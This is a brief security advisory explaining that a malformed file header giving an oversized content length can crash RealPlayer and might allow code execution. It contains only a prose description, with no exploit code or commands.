RealPlayer is a software package distributed and maintained by Real Media. It is available for Microsoft Windows, Unix, and Linux.

A problem with the handling of file format may make it possible to remotely crash RealPlayer. The problem could also potentially result in code execution.

Upon receiving a file with a malformed header, it is possible to crash the RealPlayer client. A file that specifies a content length greater than the actual size creates a circumstance where RealPlayer reacts unpredictably and becomes unstable. This usually results in the crashing of RealPlayer. This problem may also make it possible to execute arbitrary code.
